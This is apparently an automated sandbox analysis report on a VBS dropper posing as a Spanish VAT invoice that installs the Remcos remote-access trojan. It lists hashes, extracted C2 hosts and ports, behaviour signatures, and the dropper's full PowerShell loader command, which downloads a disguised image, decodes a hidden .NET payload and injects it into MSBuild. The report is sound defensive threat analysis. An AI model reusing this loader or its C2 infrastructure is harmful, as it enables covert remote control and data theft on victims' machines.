Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
19-12-2024 12:21
Static task
static1
Behavioral task
behavioral1
Sample
4dd53bc42716f9abe36ae85c8ca8ea4b_m_FacturadeIVApdf.vbs
Resource
win7-20240903-en
General
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Target
4dd53bc42716f9abe36ae85c8ca8ea4b_m_FacturadeIVApdf.vbs
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Size
152KB
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MD5
4dd53bc42716f9abe36ae85c8ca8ea4b
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SHA1
aa44fc15455a5283e6596a4da7ee87ac4e4b8901
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SHA256
d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573
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SHA512
d9f5410d0f7c9135fa2b388030c766969ed7ea70edae73b514820bb39251f4f66d9af3d39fc46327cb7a6f207ca3e3b7e86a8fecec7629a3606d3c0789777952
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SSDEEP
3072:A8gVmI3b0mgfmWu+Dwe9VOv5iG5sVhQ30Wk+70wgA1A:A8gVde9VOvM
Malware Config
Extracted
https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg
https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg
Extracted
remcos
NEW
rem.pushswroller.eu:23101
firewarzone.ydns.eu:23101
dim.remofficialws.top:23101
rem.officialswvrem.top:23101
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmcghdzxtrswtwg-BJ2KPV
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Blocklisted process makes network request 5 IoCs
flow pid Process 7 4372 powershell.exe 19 4372 powershell.exe 180 1736 powershell.exe 206 1736 powershell.exe 361 3260 powershell.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation wscript.exe -
pid Process 4372 powershell.exe 1736 powershell.exe 3260 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4372 set thread context of 3456 4372 powershell.exe 91 PID 1736 set thread context of 628 1736 powershell.exe 99 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4372 powershell.exe 4372 powershell.exe 1736 powershell.exe 1736 powershell.exe 3260 powershell.exe 3260 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4372 powershell.exe Token: SeDebugPrivilege 1736 powershell.exe Token: SeDebugPrivilege 3260 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3456 MSBuild.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 3484 wrote to memory of 4372 3484 WScript.exe 82 PID 3484 wrote to memory of 4372 3484 WScript.exe 82 PID 4372 wrote to memory of 2676 4372 powershell.exe 89 PID 4372 wrote to memory of 2676 4372 powershell.exe 89 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 4372 wrote to memory of 3456 4372 powershell.exe 91 PID 2164 wrote to memory of 1736 2164 wscript.exe 97 PID 2164 wrote to memory of 1736 2164 wscript.exe 97 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1736 wrote to memory of 628 1736 powershell.exe 99 PID 1536 wrote to memory of 3260 1536 wscript.exe 101 PID 1536 wrote to memory of 3260 1536 wscript.exe 101 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4dd53bc42716f9abe36ae85c8ca8ea4b_m_FacturadeIVApdf.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3484 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\talpe.vbs"3⤵PID:2676
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:3456
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C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\talpe.vbs1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:628
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C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\talpe.vbs1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3260
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
152KB
MD5f46c154b82e9739bc0cb68c2b55c7141
SHA13cffae22113aa6d4525c702f164317713865ae49
SHA256648aa1acba635f9025c41cb23dedd2e86c4abcec1ad91493e197a1b300c74e85
SHA51211f540c4d95dbf6c79d87ee29e400a0c73db6d7fa196ceac29051b7b9d6b8a7c858a4cb359b223bd5851b45ea3228928ecce9a11c82c3c818a880f5f9de91ad0
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Filesize
3KB
MD581d91bab2fdd72436e4852d94ea7650d
SHA15652b3c46a0cf75a03859c5707f36fb08f5c631a
SHA25668a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1
SHA512df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268
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Filesize
1KB
MD5dd8de7963a6528272c5f2302e74b8b9d
SHA1adedefdf6dbdc9ca79d6c321d7a88365fa73d457
SHA25647efb9218e266ef8a78b847122a5edc7c738e1194d39d3ab04310bf092deae06
SHA5124292d575b4f30e0fd1b77478c6c7a53436fc9facd96b848d19532ec4b2a2f7e01b16805e80d531074ba46b51ed1775258f58448f4d9c63065483585ecd0d33c5
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Filesize
1KB
MD57d5d8cf9f65ce79e552409c240295219
SHA1ec5e938110638dcd176ce0645682a0d3949dd5a8
SHA256817d6bfa16b959aae0dec64568ec6d98fdd61a205c61dde60551e192e5478596
SHA5120d06c42b9c5648311000eefe9bd5a952dafd999b5c7ab17dbbebb6c6d9cd4b1de451e13ef0af72dfa3557aee8cb8bb5521642db843c3f61dfd701dd6c95afb68
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82